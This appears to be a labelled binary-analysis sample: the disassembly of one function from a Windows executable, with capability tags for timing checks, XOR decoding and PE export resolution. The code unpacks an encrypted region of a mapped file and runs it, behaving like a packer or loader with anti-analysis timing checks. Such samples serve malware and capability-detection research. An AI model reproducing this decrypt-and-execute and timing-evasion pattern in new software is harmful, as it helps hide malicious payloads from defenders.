Function at 0x40293b
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Encode data using xor
Generate random numbers using the delphi lcg
Get file size
Read file via mapping
Resolve function by parsing pe exports
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8a4
xor edx, edx
push ebx
push esi
push edi
mov dword [esp + 0x14], edx
mov dword [esp + 0x40], edx
mov dword [esp + 0x34], edx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x28], edx
mov dword [esp + 0x3c], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x44], edx
call fcn.00402355
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push dword [eax + 0xa0]
call dword [0x40602c]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
call esi
push 3
pop edi
mov dword [0x406040], eax
mov dword [esp + 0x54], edi
jmp 0x4029a1
push 3
pop edi
mov ebx, 0x406044
call fcn.004036d3
mov ecx, eax
xor edx, edx
sub ecx, dword [0x406040]
mov eax, ecx
div edi
cmp ecx, 0x8000
jb 0x4029f6
test edx, edx
jne 0x402ecc
mov edi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x34]
xor eax, eax
push eax
push eax
push eax
push 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
jne 0x403289
push 0xffffffffffffffff
push 0x401528
jmp 0x403137
mov ecx, ebx
call fcn.004025f7
push ecx
call fcn.004025b8
lea ecx, [esp + 0x58]
call fcn.004025f7
call fcn.004036d3
mov ecx, eax
xor edx, edx
sub ecx, dword [0x406040]
mov eax, ecx
div edi
cmp ecx, 0x8000
jae 0x4029c1
call fcn.0040367a
push 0x4012c0
lea esi, [eax + 0xfe0]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [0x406008]
test eax, eax
pop ecx
setne byte [esp + 0x1f]
pop ecx
test eax, eax
je 0x402a81
push 0x401180
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [0x406008]
pop ecx
pop ecx
test eax, eax
je 0x402a81
mov ecx, esi
mov byte [esp + 0x13], 1
call fcn.004033ab
test al, al
je 0x40336d
xor ecx, ecx
jmp 0x402aa0
xor ecx, ecx
cmp dword [esi], 0x696d7678
mov byte [esp + 0x13], cl
jne 0x402d2d
cmp dword [esi + 4], 0x74636a6e
jne 0x402d2d
test esi, esi
je 0x402d2d
push ecx
push ecx
push ecx
push 6
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
mov dword [esp + 0x14], edi
test edi, edi
je 0x40313e
xor eax, eax
push eax
push eax
push eax
push 6
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
mov dword [esp + 0x40], ebx
test ebx, ebx
je 0x403130
mov ecx, dword [ebx + 0x48]
cmp ecx, 0x3fc
jae 0x403113
mov eax, dword [ebx + 0x4c]
add ecx, ecx
push ecx
add eax, ebx
push eax
lea eax, [esp + 0xc0]
push eax
call dword [0x40601c]
mov eax, dword [ebx + 0x48]
add esp, 0xc
xor ecx, ecx
mov word [esp + eax*2 + 0xb8], cx
lea eax, [edi + 0x43c8]
push 0xf
pop ecx
cmp dword [edi], ecx
cmovb ecx, dword [edi]
mov ecx, dword [ecx*4 + 0x4015f0]
add ecx, edi
cmp eax, ecx
ja 0x402b4b
mov eax, dword [edi + 0x43c4]
lea ecx, [esp + 0x58]
push dword [edi + 0x43c0]
add eax, edi
push eax
call fcn.00402558
mov eax, dword [edi + 0x40]
xor esi, esi
xor ebx, ebx
mov dword [esp + 0x24], esi
test eax, eax
je 0x402b93
cmp dword [edi + 0x44], ebx
je 0x402b93
lea eax, [eax*2 + 2]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
jne 0x402b9d
push 0xffffffffffffffff
push 0x40134c
mov ebx, 0x406044
mov ecx, ebx
call fcn.00402558
jmp 0x40336d
cmp byte [esp + 0x13], bl
jne 0x403107
mov eax, dword [edi + 0x50]
test eax, eax
je 0x402bd3
cmp dword [edi + 0x54], esi
je 0x402bd3
lea eax, [eax*2 + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [esp + 0x24], esi
test esi, esi
jne 0x402bde
push 0xffffffffffffffff
push 0x401374
jmp 0x402b82
cmp byte [esp + 0x1b], 0
jne 0x4030fb
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edi, dword [eax + 0x10]
test ebx, ebx
je 0x402c20
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 0x40]
add eax, eax
push eax
mov eax, dword [ecx + 0x44]
add eax, ecx
push eax
push ebx
call dword [0x40601c]
mov eax, dword [esp + 0x20]
add esp, 0xc
xor ecx, ecx
mov eax, dword [eax + 0x40]
push ebx
mov word [ebx + eax*2], cx
lea eax, [edi + 0x38]
push eax
call dword [0x406034]
test esi, esi
je 0x402cb0
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 0x50]
add eax, eax
push eax
mov eax, dword [ecx + 0x54]
add eax, ecx
push eax
push esi
call dword [0x40601c]
mov eax, dword [esp + 0x20]
add esp, 0xc
xor ecx, ecx
add edi, 0x40
mov eax, dword [eax + 0x50]
push esi
push edi
mov word [esi + eax*2], cx
call dword [0x406034]
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [section..data]
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
test esi, esi
je 0x402cac
push 8
lea eax, [esp + 0x68]
push 0
push eax
call dword [0x406018]
add esp, 0xc
lea eax, [esp + 0x64]
push 1
push edi
push eax
call dword [0x406030]
test eax, eax
js 0x402ca9
push dword [esp + 0x68]
push esi
call dword [0x40600c]
pop ecx
pop ecx
jmp 0x402cac
mov byte [esi], 0
mov esi, dword [esp + 0x24]
call fcn.004036b6
test al, al
je 0x402d56
call fcn.0040367a
xor edx, edx
mov ecx, dword [eax + 0x20]
cmp dword [eax + 0x24], edx
ja 0x402d56
jb 0x402cda
cmp ecx, 0x7fff0000
jae 0x402d56
test ebx, ebx
je 0x402d02
mov dword [ecx + 0x68], ebx
mov ebx, dword [esp + 0x14]
mov dword [ecx + 0x6c], edx
mov ax, word [ebx + 0x40]
add ax, ax
mov word [ecx + 0x60], ax
mov ax, word [ebx + 0x40]
inc ax
add ax, ax
mov word [ecx + 0x62], ax
jmp 0x402d06
mov ebx, dword [esp + 0x14]
push 3
pop edi
test esi, esi
je 0x402d59
mov dword [ecx + 0x78], esi
mov dword [ecx + 0x7c], edx
mov ax, word [ebx + 0x50]
add ax, ax
mov word [ecx + 0x70], ax
mov ax, word [ebx + 0x50]
inc ax
add ax, ax
mov word [ecx + 0x72], ax
jmp 0x402d59
mov esi, 0x3fc
lea eax, [esp + 0xb8]
push esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x402d4a
cmp eax, esi
jne 0x402d5e
push 0xffffffffffffffff
push 0x40139c
jmp 0x403145
push 3
pop edi
mov ebx, 0x406044
push 0x5c
pop eax
cmp word [esp + 0xb8], ax
jne 0x402d7e
cmp word [esp + 0xba], ax
jne 0x402d7e
lea esi, [esp + 0xb8]
jmp 0x402d9d
push 8
lea eax, [esp + 0xb4]
push 0x4015e0
push eax
call dword [0x40601c]
add esp, 0xc
lea esi, [esp + 0xb0]
call fcn.004036d3
mov ecx, eax
xor edx, edx
sub ecx, dword [0x406040]
mov eax, ecx
div edi
cmp ecx, 0x8000
jae 0x4029c1
push 0xffffffffffffffff
push esi
mov ecx, ebx
call fcn.00402558
push 0xffffffffffffffff
push 0x4013b0
mov ecx, ebx
call fcn.00402558
xor eax, eax
push eax
push eax
push edi
push eax
push 7
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x34], ebx
cmp ebx, 0xffffffff
je 0x40335c
call fcn.004036f4
test eax, eax
jne 0x4029a1
push eax
push eax
push eax
push 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edi, eax
mov dword [esp + 0x2c], edi
test edi, edi
je 0x403350
push 0x1000
push 0
push 0
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
test ecx, ecx
je 0x403344
call fcn.00402638
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea eax, [esp + 0x48]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x403338
xor eax, eax
mov ecx, esi
push eax
add ecx, 0x1000
pop edx
adc eax, edx
cmp dword [esp + 0x4c], eax
jl 0x403302
jg 0x402e81
cmp dword [esp + 0x48], ecx
jbe 0x403302
lea eax, [esi + 0x1000]
push eax
push edx
push edx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
mov dword [esp + 0x28], ebx
test ebx, ebx
je 0x4032f6
call fcn.004036d3
mov ecx, eax
xor edx, edx
sub ecx, dword [0x406040]
push 3
mov eax, ecx
pop edi
div edi
cmp ecx, 0x8000
jb 0x402eda
test edx, edx
je 0x4029c9
mov ebx, 0x406044
cmp edx, 1
je 0x4029a6
jmp 0x403040
mov ecx, ebx
call fcn.00402638
push 4
lea esi, [ebx + eax]
mov ecx, dword [esi]
pop ebx
add esi, ebx
cmp ecx, 0x6d7678
jne 0x4032ea
mov ecx, dword [esi]
add esi, ebx
cmp ecx, edi
jne 0x4032de
mov edx, dword [esi]
add esi, ebx
imul edi, edx, 0x8088405
mov ecx, dword [esi]
add esi, ebx
inc edi
mov eax, edi
xor eax, edx
cmp eax, ecx
jne 0x4032d2
mov ecx, dword [esi]
add esi, ebx
imul edx, edi, 0x8088405
inc edx
mov eax, edx
xor eax, edi
cmp eax, ecx
jne 0x4032c6
mov ecx, dword [esi]
add esi, ebx
imul eax, edx, 0x8088405
mov dword [esp + 0x20], 0x8088406
mov edx, dword [esi]
lea ebx, [esi + 8]
inc eax
xor ecx, eax
imul eax, eax, 0x8088405
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x28]
sub ebx, ecx
add ebx, 4
push ecx
inc eax
xor edx, eax
imul eax, eax, 0x2b9ad7e7
mov dword [esp + 0x3c], edx
sub dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
xor eax, dword [esi + 8]
add eax, ebx
add eax, edx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x5c], 0
jne 0x4031f5
xor eax, eax
push eax
push eax
push eax
push 8
push eax
push dword [esp + 0x48]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, eax
mov dword [esp + 0x2c], ecx
test ecx, ecx
je 0x4031e9
mov esi, dword [esp + 0x38]
lea eax, [ebx + esi]
push eax
push 0
push 0
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov dword [esp + 0x28], ecx
test ecx, ecx
je 0x4031dd
lea eax, [ebx + ecx]
mov dword [esp + 0x3c], eax
mov ecx, eax
test esi, esi
je 0x403009
mov edx, esi
imul edi, edi, 0x343fd
add edi, 0x269ec3
mov eax, edi
shr eax, 0x10
xor byte [ecx], al
inc ecx
sub edx, 1
jne 0x402ff0
xor eax, eax
push ecx
lea ecx, [esp + 0x7c]
mov dword [esp + 0x9c], eax
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x7c], eax
call fcn.00403a30
mov esi, eax
pop ecx
test esi, esi
jne 0x4031cc
mov ebx, dword [esp + 0x28]
mov esi, dword [esp + 0x30]
push 4
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
call fcn.004036d3
mov ecx, eax
xor edx, edx
sub ecx, dword [0x406040]
mov eax, ecx
div dword [esp + 0x54]
cmp ecx, 0x8000
jb 0x403089
test edx, edx
je 0x4029c9
cmp edx, 1
jne 0x403048
jmp 0x40299e
mov eax, dword [esp + 0x38]
lea ecx, [esp + 0x78]
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x3c]
push 4
pop edx
mov dword [esp + 0x78], eax
mov dword [esp + 0x88], esi
mov dword [esp + 0x84], edi
call fcn.00403b40
mov esi, eax
cmp esi, 1
jne 0x4031c3
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004036d3
mov ecx, eax
xor edx, edx
sub ecx, dword [0x406040]
push 3
mov eax, ecx
pop esi
div esi
cmp ecx, 0x8000
jb 0x403161
test edx, edx
je 0x4029c9
mov esi, dword [esp + 0x30]
jmp 0x40307f
push 0xffffffffffffffff
push 0x401388
jmp 0x402b82
push 0xffffffffffffffff
push 0x401360
jmp 0x402b82
push 0xffffffffffffffff
push 0x401338
mov ecx, 0x406044
call fcn.00402558
push 0xa
push dword [ebx + 0x48]
mov ebx, 0x406044
jmp 0x403155
push 0xffffffffffffffff
push 0x401324
mov ebx, 0x406044
jmp 0x403145
push 0xffffffffffffffff
push 0x401310
mov ecx, ebx
call fcn.00402558
push 0xa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, ebx
call fcn.004024da
jmp 0x40336d
mov ecx, edi
call fcn.004026f7
mov esi, eax
test esi, esi
je 0x403368
push 0x8000
push dword [esp + 0x34]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x6c]
call fcn.004025f7
push 0x10
push esi
lea ecx, [esp + 0x74]
call fcn.004024da
push dword [esp + 0x6c]
push 0x401504
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ecx, esi
call fcn.0040266e
mov edi, eax
test edi, edi
jne 0x403278
push 0xffffffffffffffff
push 0x401518
jmp 0x402b82
push 0xffffffffffffffff
push 0x4014dc
jmp 0x4031d3
push 0xffffffffffffffff
push 0x4014d0
mov ebx, 0x406044
jmp 0x403329
push 0xffffffffffffffff
push 0x4014bc
jmp 0x403137
push 0xffffffffffffffff
push 0x4014a8
jmp 0x403137
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push dword [eax + 0xa0]
call dword [0x406028]
push dword [esp + 0x58]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword fs:[0x18]
mov edi, eax
mov ecx, dword [ecx + 0x30]
push dword [ecx + 0xa0]
call dword [0x40602c]
test esi, esi
jne 0x403182
push 0xffffffffffffffff
mov ebx, 0x406044
push 0x4014e8
mov ecx, ebx
call fcn.00402558
push 0xffffffffffffffff
lea ecx, [esp + 0x5c]
call fcn.00402330
push eax
mov ecx, ebx
call fcn.00402558
push 0xffffffffffffffff
push 0x4014fc
mov ecx, ebx
call fcn.00402558
push 0xa
push edi
jmp 0x403155
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x44], eax
jmp 0x4029cd
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004025dd
mov eax, dword [esp + 0x40]
push eax
push dword [esp + 0x18]
mov eax, dword [esp + 0x28]
add eax, 0xffff
and eax, 0xffff0000
push eax
push dword [esp + 0x58]
push dword [esp + 0x58]
push esi
push dword [esp + 0x5c]
call edi
add esp, 0x1c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push 0x401498
jmp 0x402b82
push 0xffffffffffffffff
push 0x401488
jmp 0x402b82
push 0xffffffffffffffff
push 0x401478
jmp 0x402b82
push 0xffffffffffffffff
push 0x401468
jmp 0x402b82
push 0xffffffffffffffff
push 0x401454
jmp 0x403137
push 0xffffffffffffffff
mov ebx, 0x406044
push 0x401440
mov ecx, ebx
call fcn.00402558
push 0xa
push dword [esp + 0x4c]
mov ecx, ebx
call fcn.004024da
push 0xffffffffffffffff
push 0x4013b0
mov ecx, ebx
call fcn.00402558
push 0xa
push esi
jmp 0x403155
push 0xffffffffffffffff
push 0x40142c
jmp 0x403137
push 0xffffffffffffffff
push 0x401418
jmp 0x403137
push 0xffffffffffffffff
push 0x401404
jmp 0x403137
push 0xffffffffffffffff
push 0x4013b8
jmp 0x403137
mov ebx, 0x406044
push 0x40153c
push 0x401548
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10
push 0x401560
mov ecx, ebx
mov edx, eax
call fcn.00402330
push eax
push 0
call edx
call fcn.004025dd
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]